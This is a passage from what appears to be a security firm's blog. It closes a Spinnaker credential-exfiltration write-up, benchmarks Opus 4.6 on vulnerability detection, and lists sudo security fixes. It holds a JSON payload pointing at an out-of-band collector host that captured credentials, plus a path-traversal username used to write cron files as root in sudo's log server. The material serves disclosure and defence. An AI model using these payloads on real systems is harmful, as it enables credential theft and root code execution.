'{"type":"http/file","name":"x","reference":"http://pfxfrfhcrjoieltpvbao2drlar2lgqqe1.oast.fun/collect","artifactAccount":"test-http-account"}' ``` Credentials immediately appeared in our app.interactsh session:
Echo causes Clouddriver to post source credentials to attacker-controlled server
Echo causes Clouddriver to post source credentials to attacker-controlled server
## Mitigation * Store secrets in an external secrets vault and monitor for unusual access patterns from Clouddriver (e.g. enumeration) * Monitor Clouddriver and Echo pods for unusual shells and other processes * Limit access to Spinnaker * Setup SSO-based authentication to Spinnaker and require strong MFA * Limit network access to Spinnaker pods. Any process on the same network as these services can access their functionality without authentication. * In clouddriver.yml, configure `allowed-domains` restrictions to limit which domains PUT /artifacts/fetch will send credentials to, making it harder for an attacker to exfiltrate them. ## Takeaways ### Defense In Depth For understandable reasons, Spinnaker and many applications like it have something like a perimeter-based trust model. Once an attacker is past the Gate, they can do whatever they want — call from service to service and so on. As expensive and painful as it can be though, these issues highlight the value of adding additional layers of defense to slow down or stop hackers after they get initial access. In the case of deployment systems like Spinnaker, those layers can include external secrets vaults, keeping secrets out of pods wherever possible, and requiring authorization for service to service communication. ### AI Accelerates Vuln Discovery Both the actual flaws we found were high impact, but at their core very simple – ultimately, straightforward command injection and code injection. They may have escaped detection in the past because of the complex application they existed within, which contains many moving parts, and interfaces with different security expectations (e.g. trusted, unauthenticated internal APIs vs authenticated public API and so on). We found that LLMs were particularly helpful with the grunt work of churning through potential issues that didn't really matter given the actual security model of this complex app and getting to the ones like these that did. In a future article, we plan to dive into this security research workflow in a bit more depth, but it's reasonable to assume that with AI being applied to vulnerability discovery, issues like these that have tended to hide in the noise of large code bases will increasingly become easily visible to both attackers and defenders. ## Appendix We've put together a working POC for both exploits, along with a setup script to stand up a vulnerable version of Spinnaker to test them against. [https://github.com/ZeroPathAI/spinnaker-poc](https://github.com/ZeroPathAI/spinnaker-poc) ## Errata * **2026-04-21** — CVEs downgraded from 10.0 to 9.9. The first version of this article included the original 10.0 severity. --- #### Benchmarking Opus 4.6 For Vuln Detection: Flashes Of Brilliance But Lots of Noise - **Date**: April 2, 2026 - **Authors**: John Walker - **Reading Time**: 10 minutes - **Keywords**: opus 4.6, vulnerability detection, LLM security, benchmark, SAST, AI security research, PrimeVul, false positives, CVE detection, code analysis - **URL**: https://zeropath.com/blog/benchmarking-opus-4-6-vuln-detection We tested Opus 4.6 against 435 known vulnerable C functions from real CVEs. With good prompting and tools, it found up to 28.5% of vulnerabilities — impressive compared to human review, but with high false positive rates and inconsistency that underline the need for more sophisticated systems. --- ## Introduction Opus 4.6 on its own seems to find software defects better than any previous Anthropic model, even without being embedded in a more complex workflow or agent. We decided to find out exactly how good it is. Our testing revealed that with good prompting and tools, Opus can find as many as a quarter of single function C vulnerabilities. However, it still misses the majority of flaws, and the hits come at the expense of a high false positive rate and inconsistency across runs. These results are impressive compared to previous generation models or human review, but they underline the need for embedding the model within larger systems for vulnerability discovery at enterprise scale with consistent results and manageable amounts of noise. ## The Test ### Overview We presented Opus 4.6 with 435 known vulnerable C functions from real world CVEs. We tried four different prompts and tool configurations, each simulating the sort of thing you might package as a Claude Code skill to use on your own codebase. Depending on approach, Opus correctly discovered between 25.1% and 28.5% of the vulnerabilities. However, false positive rates tended to be extremely high. As many as around 60% of all functions had at least one potentially spurious finding, although our structured reasoning approach reduced that to ~40%. More concerningly, results varied widely across attempts using a single method. For each classification approach, there tended to be a large common core of functions correctly labeled across all runs, along with a sizable set whose labels changed from run to run. It's worth noting that these vulnerabilities all made it past human review into production in widely-used open source projects. For a general purpose neural network to be consistently flagging ANY of these issues is incredible. In discovering the strengths, weaknesses and foibles of these powerful new models, we're not discounting their usefulness, just doing the necessary work to understand how to correctly engineer them into rational, battle-tested systems like any other software component. Doing this well is the difference between drowning in noise and inconsistent results and moving at the speed of the AI-enhanced attackers that salespeople won't stop trying to scare us with. ### Dataset In 2024, Yangruibo Ding and other researchers created the PrimeVul dataset as part of [this study](https://arxiv.org/abs/2403.18624). One of the many notable things about it is its large collection of individual known-vulnerable C functions paired with the same function after patch. It's especially useful for evaluating LLM vulnerability detection because: * The functions are from real CVEs in real code bases * The quality of the dataset is much higher than many other academic vulnerability datasets, some of which have serious accuracy issues. Labeled vulnerable functions are much more likely to be actually vulnerable, and there is very little repetition in the data. * The benign and vulnerable function pairs are perfect for seeing whether an LLM can alert on the real issue without false positiving on very similar benign code.

Dataset of vulnerable functions before and after patching

Dataset of vulnerable functions before and after patching.

For our work, we used a version of PrimeVul posted to hugging face: [https://huggingface.co/datasets/colin/PrimeVul](https://huggingface.co/datasets/colin/PrimeVul) We specifically used the paired subset, and the test slice to allow us to do a rough comparison of the P-C metric between the original study and our research so we could get a sense of how Opus 4.6 performs compared to the models available in 2024. ### Original Methodology The original study covered too much ground to briefly summarize here. The part relevant to our Opus 4.6 benchmark is one of their techniques for evaluating model performance, which we borrowed and enhanced. Their original version: * Give an LLM a vulnerable function. Ask it: "Is this function vulnerable? Yes/no" * Give an LLM the patched version of that same vulnerable function. Ask for a binary classification again. * Compare the classifications. Measure the number of times the LLM classified the vulnerable function as vulnerable AND the benign function as benign. This approach is particularly notable because it places a premium on both precision and recall, and it captures precision in a very effective way. The LLM cannot cheat its way to victory by flagging most things "vulnerable." Also, the only difference between the pre-patch and post-patch function is the flaw. It forces the model to distinguish between two otherwise very similar functions in a controlled way. The original researchers labeled the measurement that captures the times model got both the vulnerable and benign halves of a pair "P-C." If you were randomly choosing a label for each half of a function pair, you'd expect to score about 25% on it. GPT-4, a state of the art model at the time of the study (2024), got only 12.94% right – worse than literally flipping a coin.

Original methodology

Original methodology.

### Updated Methodology While the PrimeVul dataset was ideal for benchmarking Opus 4.6, we decided to update the original approach a bit. There can be more than one vulnerability in a piece of code. As a result, we can't actually say that the benign function is free of flaws. A model could label both sides of a pair vulnerable because the fix only addressed one of many issues. It could also get lucky and label the vulnerable function and benign function correctly for the wrong reasons… you'd see that in the overall numbers, but you'd be unable to distinguish between a model that performs poorly because it's outright guessing from one that produces legitimate results with good reasoning, just at a low rate. Our updated approach addresses some of these issues while still allowing a (very rough) comparison with the original study's results. To start with, instead of asking the LLM to do a simple binary classification – "is it vulnerable or not" – we asked the LLM to list 0…n flaws in the function it was looking at. While this is a harder and different task, it lets us analyze the results in more depth. We then used another LLM to link the findings from each side of the pair that were the same issue. As a result, for each function pair we had: * Flaws found only in vulnerable function * Flaws found only in benign function * Flaws found in both functions We used this as weak signal for false positive analysis… if the model found a flaw only in the benign function, we treated this as somewhat more likely to be incorrect while acknowledging the possibility that the fix may have introduced a new problem. The LLM-created links here were surprisingly high-quality. 100% were accurate in our hand checks (n=50). Finally, because each vulnerable and benign function pair was associated with a CVE and a fix commit, we had Opus 4.6 research the CVE, review the fix diff, and evaluate how many of the findings related to the flaw described in the CVE. This is a substantially easier task than finding the issue without guidance, and in the sample of 52 judgments we hand evaluated, we found that Opus reached the same conclusions as an expert security researcher 98.1% of the time. This approach let us reproduce the P-C measure from the original study: if finding count on vuln function > 0 and finding count on benign function = 0, we counted it as a hit for that measure. It also let us produce some more nuanced measures, like CVE recall rate and P-C Rigorous which we'll discuss later.

Our benchmark workflow

Our benchmark workflow.

### Classification Approaches We created 4 classifiers, all of which output a list of a flaws and a label for the input function using a single prompt: * Ask for a list of flaws. Do not require the LLM to provide evidence for them. * Ask for a list of flaws. Require the LLM to produce limited evidence for each. * Ask for a list of flaws. Require the LLM to produce an extensive, structured justification of each flaw. * Ask for a list of flaws. Require the LLM to produce an extensive, structured justification of each flaw. Also require that the LLM use a tool to invoke a judge agent to evaluate its output. Revise output in response to judge, or abandon finding. Each classifier ran using Opus 4.6 with thinking effort set to medium, default sampling parameters, and max tokens set to 32 or 64k depending on the complexity of the approach. We ran each classifier against the entire dataset 3 times, taking the median results across runs. Three runs is a limited sample for variance analysis, but was sufficient to reveal meaningful consistency patterns. ## Results ### Major Measures * **P-C Compatible**: Included to allow comparison with PrimeVul study. % pairs for which classifier found: * \> 0 flaws in vulnerable function * 0 flaws in patched function * **P-C Rigorous**: % pairs for which: * \> 0 flaws in vulnerable function * all flaws in vulnerable function relate to CVE * 0 flaws in patched function * **CVE Recall**: % of function pairs for which there was at least one finding only on the vulnerable side which matched the issue described in CVE and fixed in diff. * **Vuln flagged**: Pairs for which one or more flaw was found in vulnerable function * **Benign flagged**: Pairs for which one or more flaw was found in the patched function * **Benign only**: Pairs with one or more finding found ONLY on the patched function ### P-C Compatible & Rigorous: Recall + Precision The P-C scores capture function pairs where we have strong evidence the model didn't produce any false positives on the benign function while flagging flaws in its unpatched counterpart. P-C Compatible includes cases where the classifier found any flaws in the vulnerable function – replicating the measure from the original study, but potentially including findings that don't have to do with the known issue. P-C Rigorous goes a step farther and only includes pairs where all flaws in the vulnerable function directly relate to the CVE AND the patched, benign function has no findings. P-C Rigorous should be thought of as the minimum % that Opus nailed. The real number is likely higher: Some of the extraneous findings that disqualify a pair for P-C Rigorous may have been actual latent bugs, or new bugs introduced by the fix commit. On these demanding and pessimistic measures, Opus 4.6 performance remained low, but it nearly doubled GPT-4 from the PrimeVul study when prompted well. Forcing Opus to justify its conclusions had the biggest positive effect on results, followed by forcing it to consult a second verification agent. | | GPT 4 (original study) | Opus - No Justification | Opus - Limited Justification | Opus - Extensive Justification | Opus - Extensive Justification + Verification Agent | | :---- | ----- | ----- | ----- | ----- | ----- | | P-C Compat | 12.94% | 13.6% | 19.3% | 20.1% | 23.2% | | P-C Rigorous | N/A | 8.7% | 14.5% | 15.4% | 16.1% |

Median P-C scores for runs of each classifier.

### CVE Recall The CVE recall score presents a much more optimistic picture than the P-C score. Opus 4.6 correctly picked out the specific vulnerability known to be in the code at a far greater than random chance would explain. Notably, human review caught none of these real issues (because they existed in actual production code), so this represents an improvement over at least some human-only approaches. | | GPT 4 (original study) | Opus - No Justification | Opus - Limited Justification | Opus - Extensive Justification | Opus - Extensive Justification + Verification Agent | | :---- | ----- | ----- | ----- | ----- | ----- | | CVE Recall | N/A | 27.1% | 25.1% | 27.6% | 28.5% |

Median CVE Recall scores for runs of each classifier.

The high recall when no justification was required was coupled with lower precision than any other approach. ### False Positive Analysis These positive results came at a cost… namely false positives. Each classifier found flaws in more than half of all vulnerable functions, but in many cases these flaws had nothing to do with the CVE. Additionally, the classifiers found flaws in 38-51% of benign functions. While we can say for sure that none of these flaws were the one known to be in the code sample, it's hard to say exactly how many are false positives vs other real issues. We do have some clues though: * Low P-C Rigorous scores. The gaps between recall scores and P-C Rigorous scores range from 10-15%. It's possible that every function pair in this 10-15% had additional, legitimate flaws, but not likely. * High Benign-Only score. Between 15-27% of the time, classifiers found issues in the benign function that were not in the original function. It's possible that as many as 1 in 4 bug fix commits introduce entirely new security flaws, but not plausible. | | GPT 4 (original study) | Opus - No Justification | Opus - Limited Justification | Opus - Extensive Justification | Opus - Extensive Justification + Verification Agent | | :---- | ----- | ----- | ----- | ----- | ----- | | Vuln funcs with findings | N/A | 63.4% | 52.2% | 54.6% | 57.2% | | Benign funcs with findings | N/A | 52.4% | 36.6% | 37.7% | 43.2% | | Benign funcs with finding NOT found on vulnerable func | | 27.4% | 15.6% | 18.6% | 24.7% |

Median finding count scores for runs of each classifier.

### Variations Across Classification Approaches #### Recall and Precision Differences As expected, Opus asked to find vulnerabilities without justifying its findings achieved fairly high recall, at the expense of low precision (measured imprecisely by P-C, benign-only findings and absolute count of extraneous, non-CVE findings). Requiring Opus to provide limited justifications for its findings dropped recall slightly, but increased precision significantly. Requiring Opus to provide more extensive justifications for its findings increased recall slightly over limited justifications, but enough to surpass no justification test. More notably, it resulted in major precision improvements. Finally, adding an independent verification agent produced better recall and P-C scores than any other approach. #### Consistency: The Hidden Story It would be tempting to conclude from the precision and recall findings alone that the best single prompt approach of the tested bunch is extensive justification + verification agent. However, LLMs tend to struggle with producing consistent results across runs. We analyzed how the same pair of functions was classified across the 3 trials using each approach. Predictably, for every run there was a solid core of function pairs that consistently got correctly labeled as vulnerable without any false positives. In addition to this consistent core though, a large number of function pairs were sometimes labeled correctly, and sometimes not. The verification agent approach, possibly because it involved another instance of the LLM, showed by far the highest instability…. So its better performance came at the expense of different invocations producing significantly different results.

CVE Recall for extensive justification runs

CVE Recall for extensive justification runs.

In this table "P-C All 3" and "CVE Recall All 3" capture the function pairs labeled consistently across all 3 runs. "P-C Any" and "CVE Recall Any" capture the pairs correctly labeled in some runs, but not others: | Classifier | P-C All 3 | P-C Any | Delta | CVE Recall All 3 | CVE Recall Any | Delta | | :---- | ----- | ----- | ----- | ----- | ----- | ----- | | Opus - No Justification | 44 (10.1%) | 78 (17.9%) | 34 | 93 (21.4%) | 141 (32.4%) | 48 | | Opus - Limited Justification | 66 (15.2%) | 105 (24.1%) | 39 | 92 (21.1%) | 127 (29.2%) | 35 | | Opus - Extensive Justification | 64 (14.7%) | 117 (26.9%) | 53 | 99 (22.8%) | 142 (32.6%) | 43 | | Opus - Extensive Justification + Verification Agent | 49 (11.3%) | 175 (40.2%) | 126 | 83 (19.1%) | 160 (36.8%) | 77 | Interestingly, while the scoring of particular pairs varied substantially across runs, the total scores themselves did not. That is, the quality of the things found seemed to remain close to the same, even while the specific pairs flagged correctly changed. | Metric | No Justification | Limited Justification | Extensive Justification | Extensive Justification + Verification Agent | | :---- | :---- | :---- | :---- | :---- | | P-C Compatible | 13.1-15.2% (±1.0) | 18.4-19.8% (±0.7) | 19.4-22.6% (±1.6) | 23.1-25.3% (±1.1) | | P-C Rigorous | 8.1-9.9% (±0.9) | 14.3-14.7% (±0.2) | 14.4-18.0% (±1.8) | 15.3-17.0% (±0.9) | | CVE Recall | 26.7-28.0% (±0.7) | 24.1-25.5% (±0.7) | 27.1-29.7% (±1.3) | 27.6-28.7% (±0.6) | ## Takeaways We studied Opus 4.6's performance finding known C vulnerabilities in single functions using a variety of single prompt approaches. Within this narrow slice, the model tended to find around 25% of known vulnerabilities, but with a lot of false positives, and with a lot of inconsistency between runs. Some of our classification approaches mitigated the noise and variability to an extent, but it remained an issue. In actual practice, not all vulnerabilities are neatly confined to single functions, not all vulnerabilities exist in programs written in C, and not all vulnerabilities are coding issues – some, for example, are business logic issues. The single vulnerable functions we tested are theoretically easier problems for the LLM, but it's hard to generalize from them to its performance on these other more complex vulnerabilities. What we can say conclusively is that our results show that a powerful tool used in a naive way produces surprising, positive results that are by some measures better than human review… but it does that with many rough edges that limit its usefulness if not embedded in more sophisticated, carefully-engineered systems. The limited amount of engineering we did with our four separate classification results showed the impact that subtle factors can have on output quality and consistency, and our experience at ZeroPath has been that larger scale work to harness, and enhance LLMs yields increasingly positive results that make the models more practical for use in production. ## Future Research With this work, we really just scratched the surface. We're likely to continue in a number of directions, including possibly: * Giving the LLM more context than just a single function * Trying more prompting strategies and tool combinations * Reasoning effort low vs medium vs high * Trying a more heavyweight verification agent * Looking for more external grounding mechanisms – e.g. ways to validate model's proposed trace of the vulnerable data flow against actual code programmatically ## Appendix Source code and data from all experiments: [https://github.com/ZeroPathAI/opus-benchmark](https://github.com/ZeroPathAI/opus-benchmark) --- #### ZeroPath's 36 Sudo Bug Fixes Reduce CrackArmor's Impact - **Date**: March 18, 2026 - **Authors**: John Walker - **Reading Time**: 15 minutes - **Keywords**: sudo, ZeroPath, CrackArmor, Qualys, security research, open source security, privilege escalation, CVE, logsrvd, RCE, use after free, path traversal - **URL**: https://zeropath.com/blog/sudo-bug-fixes One of ZeroPath's 36 sudo security fixes was rediscovered in Qualys' CrackArmor vulnerability. We share the full list of fixes, including POC for a previously-unpublished RCE targeting sudo's optional log server. --- ## CrackArmor Includes Rediscovered ZeroPath Finding We were excited to see ZeroPath name-checked in Qualys’ excellent [write up](https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt) of their CrackArmor vulnerability, which allows regular users to write AppArmor profiles and then abuse them to gain more privilege in various ways. One of the exploit chains they built on top of this core AppArmor flaw included a rediscovered sudo issue originally reported by ZeroPath in late 2025: ![CrackArmor advisory mentioning ZeroPath](/blog-assets/sudo-bug-fixes-image1.png) This particular fix is one of 36 [Joshua Rogers](https://joshua.hu/) found and reported using ZeroPath in late 2025 ([full list](https://github.com/search?q=repo%3Asudo-project%2Fsudo+zeropath&type=commits)). It’s the first to be used in a real attack chain, but we suspect it won’t be the last. Prior to our patch, sudo tried to drop privilege when invoking a mailer to send out a notification, but it didn’t verify that the drop succeeded. As a result, if you used a malicious AppArmor profile to block the setuid() syscall, sudo would execute the command as root, allowing for code execution as root if the particular mailer used had other flaws. Since one of our sudo discoveries came up in the context of CrackArmor, it seemed like a good time to share the rest (including a previously-unpublished RCE with working POC) in case they’re useful to anyone else out there. While sudo has patched these issues, the patched version of sudo hasn’t worked its way into all linux distros yet – it may be worth verifying that your systems are not vulnerable. ## Selected Findings ### CrackArmor-Related Privilege Drop Issue The sudo flaw rediscovered by Qualys was fixed in this commit: [3e474c2f201484be83d994ae10a4e20e8c81bb69](https://github.com/sudo-project/sudo/commit/3e474c2f201484be83d994ae10a4e20e8c81bb69) (2025-11-08) The part relevant to CrackArmor is pretty straightforward… when invoking a mailer to send out notifications, `exec_mailer()` tried to drop to the mail user's UID, but didn't verify the drop succeeded and didn't drop group privileges at all: ```c lib/eventlog/eventlog.c:331 if (setuid(evl_conf->mailuid) != 0) { sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change uid to %u", (unsigned int)evl_conf->mailuid); } ``` If `setuid()` failed for any reason (for example, because an attacker controlling AppArmor profiles blocked the syscall) sudo silently continued and invoked the mailer with its full root privileges. Even when the call succeeded, the mailer still ran in the root group because group privileges were never dropped. The fix addressed all of these issues. It re-asserts root, drops group privileges, then drops to the mail user's UID, and any failure aborts via `goto bad` instead of being silently ignored: ```c lib/eventlog/eventlog.c:324 if (setuid(ROOT_UID) != 0) { sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change uid to %u", ROOT_UID); goto bad; } if (setgid(evl_conf->mailgid) != 0) { sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change gid to %u", (unsigned int)evl_conf->mailgid); goto bad; } if (setgroups(1, &evl_conf->mailgid) != 0) { sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to set groups to %u", (unsigned int)evl_conf->mailgid); goto bad; } if (setuid(evl_conf->mailuid) != 0) { sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change uid to %u", (unsigned int)evl_conf->mailuid); goto bad; } ``` ### Remote Code Execution Via Sudo Log Server #### The Issue Relevant fix commits: - [186f94507f1222f8b21349f4c91c5d5e810fa872](https://github.com/sudo-project/sudo/commit/186f94507f1222f8b21349f4c91c5d5e810fa872) (2025-11-11) - [4bd549d7f41c7d3a0365f35b43f8bbf40a3a2821](https://github.com/sudo-project/sudo/commit/4bd549d7f41c7d3a0365f35b43f8bbf40a3a2821) (2025-11-11) Sudo ships with an optional log server component, logsrvd. If enabled, it listens on port 30344 or 30343 and allows for centralized aggregation of sudo logs. While it is not enabled in any mainstream linux distribution by default, it typically can be installed as an optional package. Critically, if users use the default config, no authentication is required to connect to the service. Within the config for this service, the user specifies a directory to store the logs in using the iolog\_dir and iolog\_file configuration values. By default, they’re set to: ``` iolog_dir = /var/log/sudo-io iolog_file = %{seq} ``` %{seq} here is an example of a special escape sequence users can include in the log path or filename. They can include things like %{hostname}, %{username} which are supplied to the logging daemon by the client. If the user includes any of the escape sequences that are client-controlled in their configured log path, the logging service, which runs as root, becomes vulnerable to unauthenticated code execution. The core issue is that the daemon does not sanitize input before inserting it into the path. If the user has configured an iolog\_file pattern of %{user}, for example, and a malicious user submits an event with user “.../../../etc/cron.hourly/foo”, the logger will emit its message to a path that evaluates to “/etc/cron.hourly/foo” – meaning that the contents of that file will be executed by cron hourly. Since the user controls many elements of the log message, they can inject newlines into values to ensure that at least one valid cron configuration line gets written to the target file. ```c logsrvd/iolog_writer.c:131 struct eventlog * evlog_new(const TimeSpec *submit_time, InfoMessage * const *info_msgs, size_t infolen, struct connection_closure *closure) { // ... // ZP !!!: Several fields provided by client added to eventlog struct if (strcmp(key, "submituser") == 0) { if (type_matches(info, source, INFO_MESSAGE__VALUE_STRVAL)) { free(evlog->submituser); if ((evlog->submituser = strdup(info->u.strval)) == NULL) { ```

Client-supplied input added to event

```c logsrvd/iolog_writer.c:573 static bool create_iolog_path(struct connection_closure *closure) { // ... // ZP !!!: Two calls to construct where the log file will be written if (!expand_iolog_path(logsrvd_conf_iolog_dir(), expanded_dir, sizeof(expanded_dir), &path_escapes[1], &path_closure)) { // ... if (!expand_iolog_path(logsrvd_conf_iolog_file(), expanded_file, sizeof(expanded_file), &path_escapes[0], &path_closure)) { ```

Determine effective log path, expanding escape sequences

```c lib/iolog/iolog_path.c:43 bool expand_iolog_path(const char *inpath, char *path, size_t pathlen, const struct iolog_path_escape *escapes, void *closure) { // ... // ZP !!!: Look for any %{ } escape sequences in path // ZP !!!: replace them with user input for (src = inpath, dst = path; *src != '\0'; src++) { if (src[0] == '%') { if (src[1] == '{') { endbrace = strchr(src + 2, '}'); if (endbrace != NULL) { const struct iolog_path_escape *esc; // ... // ZP !!!: This FP gets relevant field from eventlog struct len = esc->copy_fn(dst, (size_t)(pathend - dst), closure); ```

Expand escapes in the log path by replacing them with user input

#### POC Working python proof of concept if you’d like to check your own infrastructure. To be vulnerable, a system must: * Have sudo’s logsrvd configured * Have authentication disabled (default) * Have a log directory configured that includes the `%{user}` escape in it. [https://github.com/ZeroPathAI/public-pocs/blob/main/sudo/logsrvd\_rce\_poc.py](https://github.com/ZeroPathAI/public-pocs/blob/main/sudo/logsrvd_rce_poc.py) ![Sudo logsrvd RCE proof of concept](/blog-assets/sudo-bug-fixes-image2.png) ### Use After Free Relevant fix commit: [1f3dbcda62b4cf94a91fffab089c2feaeab36932](https://github.com/sudo-project/sudo/commit/1f3dbcda62b4cf94a91fffab089c2feaeab36932) (2025-10-16) When a command is approved by policy and about to execute, sudo uses log\_server\_accept() to record that fact. log\_server\_accept() initializes a local variable audit\_details to store the audit information in, but passes that local variable to log\_server\_open(), which stores a pointer to the local variable in a long-lived, heap-allocated data structure. As soon as log\_server\_accept() returns, audit\_details is deallocated and the log\_details field of the closure is left pointing to a random part of the stack. ```c plugins/sudoers/audit.c:244 static bool log_server_accept(const struct sudoers_context *ctx, struct eventlog *evlog) { // ... struct log_details audit_details; // ... client_closure = log_server_open(&audit_details, ...); ```

Initial allocation of local audit_details variable

```c plugins/sudoers/log_client.c:2100 struct client_closure * log_server_open(struct log_details *details, struct timespec *start_time, bool log_io, enum client_state initial_state, const char *reason) { struct client_closure *closure; // ... // ZP !!!: Allocate a long-lived data structure, which will // reference details closure = client_closure_alloc(details, start_time, log_io, initial_state,reason); ```

log_server_open() uses client_closure_alloc() to embed the local details variable in a closure.

```c plugins/sudoers/log_client.c:2049 static struct client_closure * client_closure_alloc(struct log_details *details, struct timespec *start_time, bool log_io, enum client_state initial_state, const char *reason) { struct client_closure *closure; // ... if ((closure = calloc(1, sizeof(*closure))) == NULL) // ... // ZP !!!: details is local audit_details var from log_server_accept closure->log_details = details; // ... ```

client_closure_alloc sets long-lived pointer to local stack-allocated variable

## Conclusion While some of the individual problems ZeroPath found were small, the 36 fixes as a whole addressed real issues used in real attacks (e.g. CrackArmor) and significantly improved sudo’s security posture. They speak to our commitment to quietly make the open source projects we rely on better. Thanks to [Joshua Rogers](https://joshua.hu/) for his work using ZeroPath to find these issues and get them fixed\! ### Appendix: Full Bug List #### 2025-10-16: Dangling pointer in audit details | Commit | [1f3dbcda6](https://github.com/sudo-project/sudo/commit/1f3dbcda62b4cf94a91fffab089c2feaeab36932) | | :---- | :---- | | **Subject** | log\_server\_accept: audit\_details cannot be a local variable. | | **Vulnerable Since** | unreleased (post-1.9.17p2) | | **Potential Security Impact** | Use-After-Free, RCE, Information Disclosure | | **Security Issue** | Use-after-free / dangling pointer vulnerability. The audit\_details struct was declared as a local variable in log\_server\_accept(), but a pointer to it was stored in the client\_closure which persists beyond the function's scope. After the function returned, the closure held a dangling pointer to stack memory that had been reclaimed, leading to undefined behavior when the closure later accessed audit\_details (e.g., corrupted log data, potential code execution). Additionally, the log\_servers string list within audit\_details was freed immediately after the closure was created, while the closure still referenced it. The fix makes audit\_details a static global variable so it remains valid for the lifetime of the closure, and defers freeing until log\_server\_exit(). | #### 2025-10-25: FD leak on connection failure | Commit | [942efe61a](https://github.com/sudo-project/sudo/commit/942efe61af44f07c96272b8ca7b3b5ab2c187401) | | :---- | :---- | | **Subject** | new\_connection: Fix fd leak if connection\_closure\_alloc() fails | | **Vulnerable Since** | 1.9.7 | | **Potential Security Impact** | DoS, FD Exhaustion | | **Security Issue** | File descriptor leak in sudo\_logsrvd. When new\_connection() accepted a socket but connection\_closure\_alloc() subsequently failed, the accepted socket file descriptor was never closed. In a long-running log server daemon, repeated allocation failures (e.g., under memory pressure or during a denial-of-service attack) would leak file descriptors, eventually exhausting the process's fd limit and preventing the server from accepting any new connections, resulting in a denial of service. | #### 2025-10-25: Passwords logged in plaintext by default | Commit | [6a1fe4248](https://github.com/sudo-project/sudo/commit/6a1fe4248316885f28b83dac88c5a4346f99721b) | | :---- | :---- | | **Subject** | Disable log\_passwords by default in sudoers and sudo\_logsrvd.conf. | | **Vulnerable Since** | 1.9.10 | | **Potential Security Impact** | Credential Exposure | | **Security Issue** | Plaintext password exposure in I/O logs. The log\_passwords option was enabled (true) by default in both sudoers and sudo\_logsrvd.conf. This meant that when I/O logging of terminal input was active, user passwords typed at authentication prompts were recorded in plaintext in the I/O logs. These logs could be read by administrators or anyone with access to the log files/server, exposing sensitive credentials. The fix changes the default to false, so that by default the system uses passprompt\_regex to detect and redact passwords from I/O log recordings. | #### 2025-10-25: Memory leak in network interface enumeration | Commit | [5846cdeda](https://github.com/sudo-project/sudo/commit/5846cdeda7d53c371971d940f00f4ce8f97ab45b) | | :---- | :---- | | **Subject** | get\_net\_ifs: fix memory leak in SIOCGIFCONF version | | **Vulnerable Since** | 1.9.7 | | **Potential Security Impact** | Memory Leak, DoS | | **Security Issue** | Memory leak in network interface enumeration. In the SIOCGIFCONF code path of get\_net\_ifs(), a separate ifconf\_buf variable was used to track the allocated buffer, but on the cleanup path, free(ifconf\_buf) was called instead of free(ifconf.ifc\_buf). If ifconf.ifc\_buf was reallocated (the code doubles the buffer size in a loop), the ifconf\_buf pointer became stale and the actual buffer was leaked. Since get\_net\_ifs() is called during sudo startup to gather network interface information for sudoers matching, this constitutes a memory leak on every sudo invocation. In a daemon context (sudo\_logsrvd), repeated calls could lead to significant memory consumption. | #### 2025-10-25: NULL deref in TLS relay timeout | Commit | [930a087bf](https://github.com/sudo-project/sudo/commit/930a087bf939636c66ddab935b3e065aeb225623) | | :---- | :---- | | **Subject** | connect\_relay\_tls: Fix NULL deref when relay connect\_timeout is 0\. | | **Vulnerable Since** | 1.9.7 | | **Potential Security Impact** | DoS, NULL Pointer Dereference | | **Security Issue** | NULL pointer dereference crash in sudo\_logsrvd TLS relay connection. When the relay connect\_timeout configuration was set to 0 (or unset), logsrvd\_conf\_relay\_connect\_timeout() returned NULL. The connect\_relay\_tls() function unconditionally dereferenced this return value, causing a NULL pointer dereference and crashing the log server daemon. An attacker who could influence the server configuration or trigger this code path could cause a denial of service. The fix adds a NULL check and clears the timeout struct when no timeout is configured. | #### 2025-10-30: Error handler corrupted on config failure | Commit | [d61959651](https://github.com/sudo-project/sudo/commit/d6195965193fba06b3162d09e07f4cf767a254de) | | :---- | :---- | | **Subject** | logsrvd\_conf\_apply: Open server log after opening the event log | | **Vulnerable Since** | 1.9.8 | | **Potential Security Impact** | Error Handling Bypass, Audit Evasion | | **Security Issue** | Error handling bypass due to premature conversation function override. In logsrvd\_conf\_apply(), the server log was opened before the event log. Opening the server log calls sudo\_warn\_set\_conversation(), which changes the global warning/error output handler. If the subsequent event log open failed and the function returned false, the conversation function had already been permanently changed, corrupting the error reporting path for the caller. This could cause error messages to be lost, misdirected, or trigger unexpected behavior during error recovery, potentially masking security-relevant failures. The fix reorders operations so the event log (which can fail gracefully) is opened first, and sudo\_warn\_set\_conversation() is only called at the point of no return. | #### 2025-10-30: Silent fallback to unencrypted LDAP | Commit | [db82b90ae](https://github.com/sudo-project/sudo/commit/db82b90aeb0777b6ab611b1a5053fc1c7cd6ae6a) | | :---- | :---- | | **Subject** | sudo\_ldap\_open: Error out if start\_tls specified but not supported | | **Vulnerable Since** | 1.7.0 | | **Potential Security Impact** | TLS Downgrade, Credential Exposure | | **Security Issue** | Silent TLS downgrade / insecure LDAP connection. When ldap.conf specified 'SSL start\_tls' but the compiled LDAP libraries did not support ldap\_start\_tls\_s() or ldap\_start\_tls\_s\_np(), the code printed a warning but continued to proceed with an unencrypted LDAP connection. This meant sudoers rules, user credentials, and other sensitive data were transmitted in plaintext over the network despite the administrator explicitly requesting TLS encryption. The fix treats this as a fatal error, refusing to connect without the requested TLS protection. | #### 2025-10-30: NULL reject reason in intercept mode | Commit | [7eaa52694](https://github.com/sudo-project/sudo/commit/7eaa5269478d428e7abe5174f3084182d5923564) | | :---- | :---- | | **Subject** | Pass explicit reason to fmt\_alert\_message() and fmt\_reject\_message() | | **Vulnerable Since** | 1.9.4 | | **Potential Security Impact** | DoS, Audit Evasion | | **Security Issue** | NULL pointer passed as reject/alert reason in intercept mode, leading to protocol violation or crash. When a sub-command was rejected by policy during intercept mode, fmt\_reject\_message() and fmt\_alert\_message() read the reason from closure-\>reason, which is NULL in the intercept sub-command context. This caused a NULL reason to be sent in the RejectMessage/AlertMessage to sudo\_logsrvd, which recent server changes require to be non-NULL. This could crash the log server or cause the rejection/alert to be silently dropped, meaning unauthorized command execution attempts would not be properly logged or reported. The fix passes the reason string explicitly from the caller rather than relying on the closure field. | #### 2025-10-30: Uninitialized socket FD on error path | 